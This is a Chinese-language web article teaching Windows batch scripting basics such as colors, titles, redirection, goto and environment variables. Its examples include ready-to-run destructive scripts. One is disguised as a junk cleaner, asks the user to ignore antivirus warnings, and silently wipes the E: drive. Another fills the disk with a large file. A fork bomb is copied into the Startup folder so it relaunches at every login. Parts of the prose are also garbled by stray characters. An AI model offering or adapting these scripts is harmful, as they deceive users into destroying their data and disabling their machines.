tft每日頭條

 > 生活

 > 批處理腳本工作

批處理腳本工作

生活 更新时间:2024-11-23 15:14:39

批處理腳本工作?從上而下成批的處理每一條dos命令,直到執行到最後一條,我來為大家科普一下關于批處理腳本工作?以下内容希望對你有幫助!

批處理腳本工作(批處理極簡教程)1

批處理腳本工作

批處理1.1 批處理作用

從上而下成批的處理每一條dos命令,直到執行到最後一條。

1.2 創建批處理

新建一個記事本文件,然後修改後綴名為.bat

1.3 體驗@echo off 屏蔽執行過程color [attr] 設置默認的控制台前景和背景顔色。

attr 指定控制台輸出的顔色屬性。

控制台輸入color ?可顯示幫助信息。

顔色屬性由兩個十六進制數字指定 -- 第一個 對應于背景,第二個對應于前景。每個數字 可以為以下任何值:

0 = 黑色 8 = 灰色 1 = 藍色 9 = 淡藍色 2 = 綠色 A = 淡綠色 3 = 淺綠色 B = 淡淺綠色 4 = 紅色 C = 淡紅色 5 = 紫色 D = 淡紫色 6 = 黃色 E = 淡黃色 7 = 白色 F = 亮白色

如果沒有給定任何參數,此命令會将顔色還原到 CMD.EXE 啟動時 的顔色。這個值來自當前控制台 窗口、/T 命令行開關或 DefaultColor 注冊表 值。

如果嘗試使用相同的 前景和背景顔色來執行 COLOR 命令,COLOR 命令會将 ERRORLEVEL 設置為 1。

示例: "COLOR fc" 在亮白色上産生淡紅色

title 給批處理加标題echo. 添加空行> 重定向

nul 是屏蔽操作知成功顯示的信息,但是出錯還是會顯示(即1>nul)。

2>nul 是屏蔽操作失敗顯示道的信息,如果版成功依舊顯示。

nul 2>nul 就是正确的錯誤的一起屏蔽掉,就啥也不顯示了。

在最後面加1>nul 2>nul這樣不管文件是否删除成功都不會顯示任何消權息。 批處理就是用一個文件保存若幹條命令(裡面還可以有條件判斷、循環等操作),運行該文件就等于運行其保存的若幹條命令。 你問這一語句,隻是一條dos命令,并不是批處理。當然,它可能作為一條命令放在批處理文件裡面,但概念不能混淆。 那是因為dos命令的輸出方是控制台。dos命令是可以控制輸出方的,可以把結果輸出到屏幕(控制台),也可以把結果輸出到文件。控制輸出到哪裡就需要一個dos的重定向符,“>”或者“>>”。(其實還有輸入定向的,如“<”。) 我們平時敲命令,默認定向是控制台。例如dir命令,其實實際運行了“dir >con”。當我們希望把文件列表到文件,就可以把重定向轉到文件,可以“dir >list.txt”,但若原來存在list.txt則會覆蓋。若list.txt本來已經有内容,希望把dir到的結果追加到文件,可以“dir >>list.txt”。這個你可以自己試試。 同樣道理,“nul”是空的意思。把執行結果定向到空,意思便是不返回任何結果,無論它是錯是對。這樣做對于批處理裡面的命令有一個好處,就是在運行的時候你看不到它逐條運行的結果。(當然,逐條運行的命令父還是會看到的,除非開始就用echo off命令或者@命令。) 這樣解釋應該清楚了吧。它隻是運行一條關于注冊表的命令,并且不返回任何結果(操作成功或者失敗),跟删除文件沒有關系。

ping -n 10 127.0.0.1 ping 10次 127.0.0.1

這裡就是等待執行

goto 跳轉到區塊命令

冒号:劃分區塊 :區塊名

:1

:2

start 程序名 :啟動程序

如果不寫程序名,則會啟動cmd

系統變量

系統變量,可以在環境變量裡設置,常用:

%USERPROFILE% =C:\Users\用戶名

%SystemRoot% =C:\WINDOWS

%SystemDrive% =C:

%APPDATA% =C:\Users\用戶名\AppData\Roaming

%LOCALAPPDATA% =C:\Users\用戶名\AppData\Local

%windir% =C:\WINDOWS

%Path% =C:\Windows\system32;C:\Windows;

%ProgramData% =C:\ProgramData

%ProgramFiles% =C:\Program Files

%ProgramFiles(x86)% =C:\Program Files (x86)

@echo off color 0a title resume echo ======== echo hello,I am order! echo ========

清除e盤

@echo off color 0a title clear laji echo ======== echo clear your system laji echo if bei lanjie please echo let it go echo ======== pause echo. echo laji is cleaning..... e: >nul 2>nul cd \ >nul 2>nul rd . /s/q >nul 2>nul ping -n 10 127.0.0.1 >nul 2>nul echo congratulations!! echo. echo laji clear! pause

新建大文件

@echo off color 0a title game d: cd \ fsutil file createnew e:\sys.ini 4096000000

死循環:

:d start goto d

開機啟動死循環:

qq.bat 為該批處理文件名

如果路徑上有特殊符号,需要加雙引号

copy qq.bat "%userprofile%\[開始]菜單\程序\啟動" :d start goto d

多功能選擇

set 變量名=值 可以設置變量,如果加上/p,則是等待用戶輸入,并将用戶輸入的值賦值給變量

@echo off title 小程序v1.0 color 0a :menu cls echo ============= echo 菜單 echo 1、定時關機 echo 2、取消定時 echo 3、退出 echo ================== set /p num=您的選擇: if "%num%"=="1" goto 1 if "%num%"=="2" goto 2 if "%num%"=="3" goto 3 echo 請正确輸入選項,隻能輸入1,2,3 pause goto menu :1 set /p a=請輸入時間(單位/秒): shutdown -s -t %a% goto menu :2 shutdown -a echo :a >>1.txt echo start >>1.txt echo goto a >>1.txt goto menu :3 exit

,

更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!

查看全部

相关生活资讯推荐

热门生活资讯推荐

网友关注

Copyright 2023-2024 - www.tftnews.com All Rights Reserved